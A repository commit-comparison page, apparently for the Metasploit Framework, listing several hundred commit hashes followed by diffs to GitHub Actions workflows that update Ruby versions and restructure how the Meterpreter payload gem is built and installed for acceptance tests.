Compare commits
755 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| aa5eda4876 | |||
| 689fb49b6e | |||
| c1a81ebf5a | |||
| 7e0b3af790 | |||
| 8c24e98fdd | |||
| 1d801225df | |||
| 5bb99d120f | |||
| c49b49bdcd | |||
| d37039c08f | |||
| b853168a89 | |||
| fcee4db5d0 | |||
| 0cbd4d1db2 | |||
| 8dd032e529 | |||
| 1c27e2a958 | |||
| b0cd258540 | |||
| f046e70b76 | |||
| 458d086fa6 | |||
| 576ff2fb5c | |||
| 3487b485e9 | |||
| b55a945669 | |||
| 33d0c0c9fd | |||
| 183d5823cc | |||
| e4ee651c9b | |||
| 79411eace8 | |||
| fae3d8390a | |||
| 2d55f5c16e | |||
| e883da86cc | |||
| f7342139b4 | |||
| 41e690445e | |||
| ece33ee8ec | |||
| b3a5da976b | |||
| 47a2079d19 | |||
| fc25e177fc | |||
| e7ed432159 | |||
| e9fc6e3b27 | |||
| 215957465c | |||
| 15c20272ea | |||
| fcc929e228 | |||
| f857e5fe67 | |||
| 38b3741a15 | |||
| 682be79920 | |||
| baac1fc9d0 | |||
| 2cdaf98c74 | |||
| 27120235d4 | |||
| 3613013938 | |||
| 42a7ff093d | |||
| c7d59ce829 | |||
| 0aad255e13 | |||
| c8aea65c7a | |||
| 0b0b9bb68a | |||
| 4374484147 | |||
| 8cbcdd1f6c | |||
| 87ec9ee137 | |||
| cdac13550b | |||
| d626e56089 | |||
| 66d657f385 | |||
| e9d4a9d918 | |||
| 8f00370370 | |||
| 0d87703dd8 | |||
| d0000af09a | |||
| bd42b23ef0 | |||
| f132b8ffe1 | |||
| 7cf02c5b14 | |||
| 6eaae79dc2 | |||
| 32db7ee6ae | |||
| 3ce313ac89 | |||
| a26572d318 | |||
| e60be7fcfb | |||
| 05c9550d43 | |||
| 65e2a20a5d | |||
| 2e9326897f | |||
| f16d31b7b1 | |||
| bb9013a8ee | |||
| 80922124c8 | |||
| 6f1287d899 | |||
| fbef2baf5c | |||
| c950264a85 | |||
| ed54130346 | |||
| 611556571f | |||
| 19c6cd899c | |||
| a66981f9e7 | |||
| 3f85d6d46d | |||
| 130895671f | |||
| 6ed60547a3 | |||
| eb1feba767 | |||
| b454a32f3c | |||
| dddcdccbef | |||
| e284ea5dc7 | |||
| 0945fbba81 | |||
| b647aec3cb | |||
| 00d4feb2b5 | |||
| 2d858ac1f0 | |||
| f44620939f | |||
| 80b76e4f5f | |||
| 48c4ce56e4 | |||
| c9dc97c242 | |||
| c979d8d477 | |||
| 5a9df32e14 | |||
| 46e97e3776 | |||
| 9fc8b3b0dc | |||
| 90daccd948 | |||
| d9cb3651f4 | |||
| d93a99c504 | |||
| 9dac85e3c9 | |||
| 7b4678564a | |||
| 3465b57e48 | |||
| b7dd63f0a9 | |||
| c098665a2e | |||
| 6424a4a387 | |||
| 4e5a21bfab | |||
| 18f0bbeaf0 | |||
| 37276446a6 | |||
| c9be9b65ec | |||
| d22ed19b02 | |||
| 4876320814 | |||
| a5d7dfb139 | |||
| 10a3b267b8 | |||
| a9ab6668a4 | |||
| 31b8fad08f | |||
| 0fefe063ad | |||
| d031df5b6b | |||
| 517bf5481d | |||
| 984f0dbb15 | |||
| 13df710797 | |||
| 2db7f4f186 | |||
| edbdb985e3 | |||
| 9396e1c91b | |||
| d96d980a24 | |||
| 9f43fcc7ad | |||
| 8d59201447 | |||
| 7149d3f332 | |||
| 92a73b1fed | |||
| 127adda3df | |||
| b02838a8dd | |||
| 8e9c144e2c | |||
| 881ae72550 | |||
| 4f584bd5a4 | |||
| 00f4f80530 | |||
| 85875d8338 | |||
| 41a0e089ea | |||
| 300e99db01 | |||
| ad8c1c3f43 | |||
| dfb1ed6d30 | |||
| 94c1167515 | |||
| ed648e9eca | |||
| cddfb499b7 | |||
| 6861b1fb67 | |||
| 6d073540e8 | |||
| 6da074e164 | |||
| 7112fb27e6 | |||
| 853b42cfaf | |||
| 50c95af7e0 | |||
| 05a2e9dc9f | |||
| deef85deb6 | |||
| 7f5f459c86 | |||
| 476ad5bb94 | |||
| e3bb4791e1 | |||
| 0d558a1f71 | |||
| b678126361 | |||
| e6fb4f876e | |||
| 7e8c35257e | |||
| f22295b10f | |||
| a2044acc42 | |||
| b98fb7553d | |||
| 20d2a6c7a7 | |||
| 6ab32cde32 | |||
| 3f8db70d45 | |||
| 0caaa5d655 | |||
| 90ad8b66d8 | |||
| 652fbf1a62 | |||
| 4aedaaa222 | |||
| ba8d5b7f5a | |||
| 46d2d4c63d | |||
| 834e499b2a | |||
| 09db1f4e72 | |||
| f06a2d47f8 | |||
| 88ba2de1be | |||
| f3eefc0d7e | |||
| ec9edc5d6c | |||
| 373ea48838 | |||
| 6f945ca1ce | |||
| 917196b8a1 | |||
| 7259548cb9 | |||
| 0013db1822 | |||
| f8dfaae599 | |||
| c6d03069a9 | |||
| d887ab5fac | |||
| 2003ed7fd0 | |||
| 528409ba87 | |||
| 3170849147 | |||
| 6f2ff5110e | |||
| 7adff997d2 | |||
| cf9e80aa1e | |||
| 48921cadb6 | |||
| 22818f07fa | |||
| 1d3bbcb573 | |||
| cf5f518590 | |||
| 61a0981013 | |||
| 37bfe9368b | |||
| d67dcda2c6 | |||
| 64be670dfa | |||
| 5c2056b2e1 | |||
| 441b671edd | |||
| 210b780f83 | |||
| e072468042 | |||
| 7b03844312 | |||
| 1aa4a1f8c8 | |||
| f0f1aa9eb3 | |||
| 3fb94b46c4 | |||
| 7d1c008377 | |||
| aa78924f67 | |||
| 21b3315229 | |||
| 7ebd4f34ef | |||
| 1885b650ba | |||
| 157763b2af | |||
| 6232463701 | |||
| 8e68d1d5f2 | |||
| 9d50fb66bc | |||
| 1b50e60a26 | |||
| 936e0dfb75 | |||
| fcee7a5972 | |||
| b3c2ae4f51 | |||
| 589b9067e6 | |||
| fbe9edfa0c | |||
| ddf07a3d60 | |||
| f6e49e43c7 | |||
| 4a8ad46249 | |||
| 93d16732f2 | |||
| bd45ae36a8 | |||
| 47fe31754e | |||
| 4c0f407b39 | |||
| 105559e771 | |||
| de6b14e506 | |||
| 25bd5d736c | |||
| 45e6daea7d | |||
| b8f82e0fe4 | |||
| e01f33f7a5 | |||
| d8e9093e64 | |||
| 378ac00c7d | |||
| ed64b57b6f | |||
| 34f3957aea | |||
| 1939257618 | |||
| 92ebabf168 | |||
| 3131b6b02d | |||
| 4767f5e457 | |||
| af12460274 | |||
| a6ec468063 | |||
| cfaaa16d91 | |||
| e1ffe82145 | |||
| c768ec8c83 | |||
| 0e72da606c | |||
| 159b2bb6dc | |||
| 393b2167cd | |||
| 39351486e9 | |||
| b0d5cf1f6a | |||
| 22523badab | |||
| 54bd55b186 | |||
| c93609eaa7 | |||
| fc005f5624 | |||
| ae5f0e8689 | |||
| 70146e52d9 | |||
| ca304ae5c4 | |||
| 763ff9275e | |||
| 61b10a44a3 | |||
| 8978486895 | |||
| 4f4a0f9cd5 | |||
| 9540837b37 | |||
| f9204fe691 | |||
| 23a9695ea5 | |||
| 897f8c890a | |||
| 79ac873dfa | |||
| 7eee3f0be8 | |||
| f7554d2467 | |||
| b5a116f85e | |||
| 99bfc21d5f | |||
| 5087e460b0 | |||
| 8b127d3afa | |||
| 1d748d73a1 | |||
| bc425a0df8 | |||
| 5fa61b6df9 | |||
| 99e95dd760 | |||
| 4e53c967c2 | |||
| 1e7c86c947 | |||
| 9c98804d58 | |||
| 6a4844bf0d | |||
| 9bd8590b99 | |||
| 2254a1f213 | |||
| e425bba900 | |||
| 8344c2c624 | |||
| 0630187870 | |||
| 01ea602675 | |||
| 3298880c21 | |||
| de0cde7634 | |||
| 12a2cdf3bf | |||
| d21be52b71 | |||
| 0bdee81bcc | |||
| 4c478a5b23 | |||
| e39af38c73 | |||
| 4565a04510 | |||
| 42abf6be5b | |||
| 278dd00845 | |||
| c494ad4f80 | |||
| 10be7a80cf | |||
| 2de30c3a0f | |||
| 0e1a22aa3b | |||
| 93bb7fa6c5 | |||
| db3699a516 | |||
| 18be9fc101 | |||
| d52593f231 | |||
| 928634b9fe | |||
| 37dff525a5 | |||
| b7d922f471 | |||
| 982401e803 | |||
| edf4fca476 | |||
| d84eb3212f | |||
| 58c359293d | |||
| ce9f1b9101 | |||
| 3513c6c4db | |||
| 45fb4a7b67 | |||
| 5374c7b362 | |||
| 351db34940 | |||
| a6ba7bf9c2 | |||
| 1aba53274f | |||
| 1a839c0b33 | |||
| 437c9fc99e | |||
| 23db148aa9 | |||
| 6d173c63a7 | |||
| 2c86d7661a | |||
| ed292a971f | |||
| 5cfaf4871d | |||
| 4d42c7878e | |||
| e340e3ea6c | |||
| 98f9045e54 | |||
| 43792457e5 | |||
| 412a1ba222 | |||
| 6ac1d1e7bb | |||
| b2e28efa48 | |||
| eb71ce1057 | |||
| fea171357a | |||
| 3fc85e103e | |||
| f0d747ce6f | |||
| 296d3c92fc | |||
| e62010c592 | |||
| aa8cf01aef | |||
| 0ff2835bb7 | |||
| 0c723b858f | |||
| d560a3202e | |||
| 2632da7334 | |||
| f475b9d4d6 | |||
| e5e06572fb | |||
| dac7c3965e | |||
| c7c7338ff6 | |||
| 7ead96a740 | |||
| 0f71c896e5 | |||
| 9a6d074463 | |||
| 43af3dbe3e | |||
| 817557c589 | |||
| 08c84924f0 | |||
| 7f5cf5edac | |||
| 2be1781aa7 | |||
| 2c96ecff6a | |||
| 98b5eabd48 | |||
| 289e95d530 | |||
| e801720c92 | |||
| bca9a5fe61 | |||
| 0df004cee7 | |||
| d788a3baf7 | |||
| 474f5426b5 | |||
| aa74e0c97e | |||
| 3ff685b70e | |||
| 7fd59b9683 | |||
| fe7334fae2 | |||
| 11c1b726cf | |||
| 43294df0dd | |||
| 710ae1198a | |||
| e2bf2162dc | |||
| 6cbb30c91a | |||
| bf643041c3 | |||
| 3a28df6b32 | |||
| 6d206f80f1 | |||
| 05bd95c23f | |||
| 9b75fc50ec | |||
| 1462875819 | |||
| 967c9b36e2 | |||
| d0a4d57883 | |||
| ec8dba87fb | |||
| 3b947cf1c5 | |||
| 45a36605f2 | |||
| 63e4df36b3 | |||
| 6b805bfdd6 | |||
| bb138e49d6 | |||
| 9d664a36f0 | |||
| a422d065c0 | |||
| 22c16975b6 | |||
| 9ae5027f3a | |||
| 4ab9664cc6 | |||
| e70b6c777f | |||
| ea00aa6579 | |||
| f436f44d83 | |||
| 38d8d35dc5 | |||
| bbc282e90c | |||
| 6e0c945a42 | |||
| 78c37a4c05 | |||
| cf7d2584ba | |||
| 87494a0958 | |||
| 03ddb8990e | |||
| df0aa98e8b | |||
| 862f2ee6c6 | |||
| 8a1dd2b1ff | |||
| 0d823fc9a2 | |||
| 68ae0d40ea | |||
| e4111cdc97 | |||
| 86bd1c2938 | |||
| af432a3b72 | |||
| 94507655ae | |||
| cb34508321 | |||
| 02ad81066d | |||
| c7d7407179 | |||
| 90d9bb769d | |||
| 43230b02a5 | |||
| 6577a18abb | |||
| 9f20c575e5 | |||
| 7ecc1cb87b | |||
| 9bfccc4293 | |||
| 6c5952d3b6 | |||
| 340d4bcd58 | |||
| e3d68d4164 | |||
| 677e8ec9dd | |||
| 7ca7d71ab4 | |||
| d3b4c5becb | |||
| 814cdb354f | |||
| 38e886f4b6 | |||
| e17d7cd161 | |||
| 64b1832567 | |||
| 390f551df7 | |||
| 3defb63763 | |||
| 82ebdf1f9d | |||
| acbcd9f3b1 | |||
| 06af9b0b3d | |||
| 293598d924 | |||
| d86136c8ef | |||
| cdadf68a98 | |||
| 58c979dc08 | |||
| a133b58665 | |||
| a65135e68b | |||
| 66f6cac472 | |||
| 789f7cfcd1 | |||
| 7c8116a2cb | |||
| cf5b26dd61 | |||
| 6eb2f6170c | |||
| a27024eb1f | |||
| ead6af8cbc | |||
| aca6613a3e | |||
| 41460077a4 | |||
| a68b9dc8cd | |||
| cfb7207a85 | |||
| 30e13c9040 | |||
| 647972b7c8 | |||
| 40de61f447 | |||
| 4d304c65b5 | |||
| 78f74a7099 | |||
| ee4f01f0a4 | |||
| b7bb75046d | |||
| 51bbc76c79 | |||
| a365d17055 | |||
| 4eb01d7395 | |||
| e0f79d806d | |||
| d0cb6c1e2d | |||
| a6dc0bf8a7 | |||
| c77ccb1203 | |||
| 78984e467f | |||
| c8100375d9 | |||
| 227143efa1 | |||
| 753447c7f7 | |||
| 0d632777fc | |||
| 56152fd359 | |||
| 03f399ee9a | |||
| 60fd582fb2 | |||
| 04c9106303 | |||
| 8ea779af56 | |||
| 72c7f4ace2 | |||
| e2a248e9df | |||
| c70043f842 | |||
| 7ddffc790c | |||
| 048038f44a | |||
| f4dc4a8220 | |||
| b7f477172f | |||
| 37eaa29df6 | |||
| 2001469d02 | |||
| 531ed162db | |||
| 2fe0b35384 | |||
| 2abde4c923 | |||
| cdc51228c1 | |||
| 747013615f | |||
| 59229ee612 | |||
| edf8d186f7 | |||
| c25b3ceb03 | |||
| 51908d6621 | |||
| 65bb3cc990 | |||
| 3ed2b5916a | |||
| f2d723d1d0 | |||
| a99fae420a | |||
| 5005d73a3e | |||
| 60f26f7062 | |||
| 31dc885419 | |||
| f5329a71df | |||
| 4c51165ec6 | |||
| b2ab69ea51 | |||
| 4a13b09767 | |||
| 703ed44357 | |||
| 065cee8698 | |||
| 70d5430ba8 | |||
| 09ceb48705 | |||
| 92c97b002a | |||
| 6f9982db54 | |||
| 88347ad2d4 | |||
| 7878d9fd3b | |||
| b33b01e0d8 | |||
| 0068857d78 | |||
| af462f7dcf | |||
| d196591845 | |||
| 06528abe05 | |||
| eb5385a23d | |||
| ebf73798a8 | |||
| 40f2eaaab1 | |||
| 08519defc7 | |||
| df6bd846e5 | |||
| 54bec338c3 | |||
| 77d0292be3 | |||
| 8af31e6b01 | |||
| 0334109994 | |||
| 50b12596a6 | |||
| ab55286e0b | |||
| 594946db47 | |||
| 985444e5af | |||
| 051a46a781 | |||
| 2edbc6a134 | |||
| 90066b3b45 | |||
| 852bb8bfe2 | |||
| afd3d0b66c | |||
| add7c7b177 | |||
| 48ed31f323 | |||
| e06dd6deea | |||
| 9c8db05dc6 | |||
| 25dcd93d0a | |||
| 6ed734e52b | |||
| a1ce949b50 | |||
| 2faa33ed8e | |||
| 686a463a87 | |||
| 2355ab546d | |||
| 5f4fbf1931 | |||
| c7f7cfd848 | |||
| 31930f47dd | |||
| 7cf942ca30 | |||
| c3cf56f06f | |||
| a63fa6843e | |||
| 6167596c20 | |||
| 65612d6757 | |||
| dd92e54512 | |||
| e7b04abf81 | |||
| 136599a29a | |||
| 5311b7014e | |||
| 41e7bf8812 | |||
| 7b918b24c9 | |||
| 7d559e0b34 | |||
| 9962429b42 | |||
| f36d786736 | |||
| f05145dd1e | |||
| 828725f54c | |||
| 4c0a403b64 | |||
| 095bd946f4 | |||
| ccf7e6942a | |||
| ef1b38654b | |||
| 299f3027a8 | |||
| 4293aac54e | |||
| b09d3033f3 | |||
| eb11cb6372 | |||
| 0b5e221620 | |||
| 78781be801 | |||
| db7f05dd76 | |||
| bd1320f722 | |||
| 3a2b5ce795 | |||
| 610c8faaf7 | |||
| d060312167 | |||
| 8b93f1a087 | |||
| 63bf59b516 | |||
| 6eea156899 | |||
| 4ce4cf472e | |||
| 7838a943ce | |||
| f3f1c893a1 | |||
| c953601335 | |||
| edb9fdc682 | |||
| b31d3e3627 | |||
| 2421ca768f | |||
| 2952dbb0b8 | |||
| 3c9d698103 | |||
| 861859196a | |||
| 2bd4f11ec5 | |||
| 0e5cf3f7ba | |||
| 6cfc18a1e7 | |||
| 2357c8ad55 | |||
| 0d92346917 | |||
| 909476ee64 | |||
| 8f274f0189 | |||
| a708f8c7f3 | |||
| 6911e52d55 | |||
| e33200100d | |||
| 1d3d3419f6 | |||
| b4762b722c | |||
| 7006c8fcfc | |||
| 83fcc32780 | |||
| 7994c16141 | |||
| 7e2df70b14 | |||
| 19302e1c5d | |||
| f720b519c9 | |||
| 7c9bddc6e6 | |||
| 6d6608c06c | |||
| 36505c7cf0 | |||
| be30a06af4 | |||
| 500df59156 | |||
| 547bc96603 | |||
| f426dc6c20 | |||
| 897dfcd328 | |||
| a4af59a595 | |||
| 3881fd6c3c | |||
| 8d81ad125d | |||
| 75a334ca0a | |||
| 5032695d1f | |||
| 7c46d4d02d | |||
| 88bd8f6f9e | |||
| c7b96f89b0 | |||
| a544805659 | |||
| 6723c585f2 | |||
| d5b2d760e8 | |||
| 22ade4f08f | |||
| 8ac7348be0 | |||
| 9de6a898cd | |||
| 022533db59 | |||
| 86bc3ceb5e | |||
| 5290750cca | |||
| a123234141 | |||
| b8ec13e9dc | |||
| d5f0c6108c | |||
| 52ebbc19ca | |||
| ca45c6439f | |||
| 0fecf5be65 | |||
| 964261283b | |||
| fabced539d | |||
| b5fbc9a8ae | |||
| eaf277e418 | |||
| a7e17d09c9 | |||
| 6adf17f5f7 | |||
| 5cdf7ae175 | |||
| 3167a6c73c | |||
| 4468d3bc79 | |||
| 4d19535ca0 | |||
| e41f5ad577 | |||
| acb022c18f | |||
| 46292b8b9a | |||
| d778f5469b | |||
| eb58072034 | |||
| 9bfb67444d | |||
| 00707a8a11 | |||
| 55515441d2 | |||
| 37bb14ba9c | |||
| e7c23e4a65 | |||
| 3fe1ffb6f3 | |||
| c1c74a0959 | |||
| 19394960cd | |||
| d4bd00d48e | |||
| 566e12b69e | |||
| 492ccca1aa | |||
| dc445ed1ac | |||
| 7fd82b89df | |||
| 7025871d34 | |||
| 94e5e49052 | |||
| e772c7adaa | |||
| de599a4407 | |||
| eda46f1a10 | |||
| ae61d0a9d6 | |||
| cd780e4339 | |||
| 2af0f506c2 | |||
| c5ce193fd5 | |||
| 9c74467950 | |||
| 41bcf4629f | |||
| d2f6e0e10f | |||
| f9b099a46d | |||
| d40bbd047e | |||
| b8f36628da | |||
| 077f8700b9 | |||
| 469671e59d | |||
| 1a20bed286 | |||
| 4766976463 | |||
| cec793f8f5 | |||
| afc735f4a4 | |||
| 1ca32eea7e | |||
| 8158cf5bae | |||
| 2469d4ea23 | |||
| 441a3215b2 | |||
| 479078a5f2 | |||
| 19770cf870 | |||
| 6e09722f67 | |||
| c6425f7245 | |||
| e506c34e13 | |||
| 883a0f8985 | |||
| 51194ad0c9 | |||
| c927f22d66 | |||
| 5edec2525f | |||
| 96a7a3269e | |||
| 358e79bd3c | |||
| f6a51610ad | |||
| 0f969f1dd6 | |||
| 6962d828ac | |||
| 7a8e72f9b8 | |||
| 09d84eaabb | |||
| 37c148cc7c | |||
| afdddf2e43 | |||
| d396d06e35 | |||
| 39243fc52f | |||
| 1348275ff7 | |||
| c9e0668473 | |||
| 3a90648c7a | |||
| a74e1678d9 | |||
| 8f2f0c7b37 | |||
| f0abc0da69 | |||
| 1e6bfb2af8 | |||
| c1c9f6f7bb | |||
| 5464e8c009 | |||
| 3e7aca2584 | |||
| 12abb50813 | |||
| f85de40d58 | |||
| f209316239 | |||
| db8c0461b8 | |||
| 3723064ac9 | |||
| 695feaa37e | |||
| 616ffe7d18 | |||
| cdd3ef9bc5 | |||
| 42980c235d | |||
| 4269615400 | |||
| 5228acb0f1 | |||
| f369a80fcc | |||
| 3a79c6d70f | |||
| f17fc282bc | |||
| 93e0ca7cd5 | |||
| f3bb48f277 | |||
| 3e422c235b | |||
| 255ab5c3ff | |||
| 8ad38f1d1a | |||
| 97c5afed52 | |||
| d135b572f5 | |||
| c82b8217a8 | |||
| 64123ab599 | |||
| be90a4e3fd | |||
| ae8e996c46 | |||
| 9436e0011f |
@@ -66,7 +66,7 @@ jobs:
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
ruby:
|
||||
- 3.1.5
|
||||
- '3.2'
|
||||
include:
|
||||
# Powershell
|
||||
- { command_shell: { name: powershell }, os: windows-2019 }
|
||||
|
||||
@@ -38,7 +38,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
|
||||
@@ -30,11 +30,11 @@ on:
|
||||
type: boolean
|
||||
|
||||
jobs:
|
||||
# Compile Java Meterpreter via docker if required, we can't always do this on the
|
||||
# Compile the Meterpreter payloads via docker if required, we can't always do this on the
|
||||
# host environment (i.e. for macos). So it instead gets compiled first on a linux
|
||||
# host, then the artifacts are copied back to the host later
|
||||
java_meterpreter_compilation:
|
||||
name: Compile Java Meterpreter
|
||||
meterpreter_compilation:
|
||||
name: Compile Meterpreter
|
||||
runs-on: ubuntu-latest
|
||||
if: ${{ inputs.build_metasploit_payloads }}
|
||||
|
||||
@@ -46,21 +46,22 @@ jobs:
|
||||
path: metasploit-payloads
|
||||
ref: ${{ inputs.metasploit_payloads_commit }}
|
||||
|
||||
- name: Build Java and Android payloads
|
||||
- name: Build Meterpreter payloads
|
||||
run: |
|
||||
mkdir $(pwd)/java-artifacts
|
||||
docker run --rm -w "$(pwd)" -v "$(pwd):$(pwd)" rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "set -x && cd metasploit-payloads/java && mvn package -Dandroid.sdk.path=/usr/local/android-sdk -Dandroid.release=true -Ddeploy.path=../../java-artifacts -Dmaven.test.skip=true -P deploy && mvn -Dmaven.test.skip=true -Ddeploy.path=../../java-artifacts -P deploy package"
|
||||
mkdir $(pwd)/meterpreter-artifacts
|
||||
docker run --rm -w $(pwd) -v $(pwd):$(pwd) rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "cd metasploit-payloads/gem && rake create_dir && rake win_copy && rake php_prep && rake java_prep && rake python_prep && rake create_manifest && rake build"
|
||||
cp $(pwd)/metasploit-payloads/gem/pkg/metasploit-payloads-* $(pwd)/meterpreter-artifacts
|
||||
|
||||
- name: Store Java artifacts
|
||||
- name: Store Meterpreter artifacts
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: java-artifacts
|
||||
path: java-artifacts
|
||||
name: meterpreter-artifacts
|
||||
path: meterpreter-artifacts
|
||||
|
||||
# Run all test individually, note there is a separate final job for aggregating the test results
|
||||
test:
|
||||
needs: java_meterpreter_compilation
|
||||
if: always() && (needs.java_meterpreter_compilation.result == 'success' || needs.java_meterpreter_compilation.result == 'skipped')
|
||||
needs: meterpreter_compilation
|
||||
if: always() && (needs.meterpreter_compilation.result == 'success' || needs.meterpreter_compilation.result == 'skipped')
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
@@ -70,7 +71,7 @@ jobs:
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
ruby:
|
||||
- 3.1.5
|
||||
- '3.2'
|
||||
meterpreter:
|
||||
# Python
|
||||
- { name: python, runtime_version: 3.6 }
|
||||
@@ -208,28 +209,28 @@ jobs:
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
name: Download Java meterpreter
|
||||
id: download_java_meterpreter
|
||||
if: ${{ matrix.meterpreter.name == 'java' && inputs.build_metasploit_payloads }}
|
||||
name: Download Meterpreter
|
||||
id: download_meterpreter
|
||||
if: ${{ matrix.meterpreter.name != 'mettle' && inputs.build_metasploit_payloads }}
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: Extract Java Meterpreter (Unix)
|
||||
if: ${{ matrix.meterpreter.name == 'java' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
|
||||
- name: Extract Meterpreter (Unix)
|
||||
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
|
||||
shell: bash
|
||||
run: |
|
||||
set -x
|
||||
download_path=${{steps.download_java_meterpreter.outputs.download-path}}
|
||||
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
|
||||
download_path=${{steps.download_meterpreter.outputs.download-path}}
|
||||
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
|
||||
|
||||
- name: Extract Java Meterpreter (Windows)
|
||||
if: ${{ matrix.meterpreter.name == 'java' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
|
||||
- name: Extract Meterpreter (Windows)
|
||||
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
|
||||
shell: bash
|
||||
run: |
|
||||
set -x
|
||||
download_path=$(cygpath -u '${{steps.download_java_meterpreter.outputs.download-path}}')
|
||||
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
|
||||
download_path=$(cygpath -u '${{steps.download_meterpreter.outputs.download-path}}')
|
||||
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
|
||||
|
||||
- name: Install mettle gem
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
|
||||
@@ -250,32 +251,6 @@ jobs:
|
||||
path: metasploit-payloads
|
||||
ref: ${{ inputs.metasploit_payloads_commit }}
|
||||
|
||||
- name: Get metasploit-payloads version
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: gem build ./gem/metasploit-payloads.gemspec
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Copy metasploit-payloads gem into metasploit-framework
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem .
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
|
||||
bundle config unset deployment
|
||||
bundle update metasploit-payloads
|
||||
bundle install
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Build Windows payloads via Visual Studio 2019 Build (Windows)
|
||||
shell: cmd
|
||||
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }}
|
||||
@@ -294,12 +269,39 @@ jobs:
|
||||
make.bat
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build PHP, Python and Windows payloads
|
||||
if: ${{ (matrix.meterpreter.name == 'php' || matrix.meterpreter.name == 'python' || runner.os == 'Windows') && inputs.build_metasploit_payloads }}
|
||||
run: |
|
||||
make install-php install-python install-windows
|
||||
- name: Get metasploit-payloads version
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Remove metasploit-payloads version from metasploit-framework.gemspec
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' }}
|
||||
run: |
|
||||
ruby -pi -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Remove metasploit-payloads version from metasploit-framework.gemspec (Windows)
|
||||
if: ${{ inputs.build_metasploit_payloads && (runner.os == 'Windows' && matrix.meterpreter.name != 'windows_meterpreter') && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: cmd
|
||||
run: |
|
||||
ruby -pi.bak -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Bundle update/install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
bundle config unset deployment
|
||||
bundle update metasploit-payloads
|
||||
bundle install
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
|
||||
@@ -60,16 +60,15 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3'
|
||||
- '3.4.0-preview2'
|
||||
- '3.4'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
ruby: '3.2'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
name: Weekly Data and External Tool Updater
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
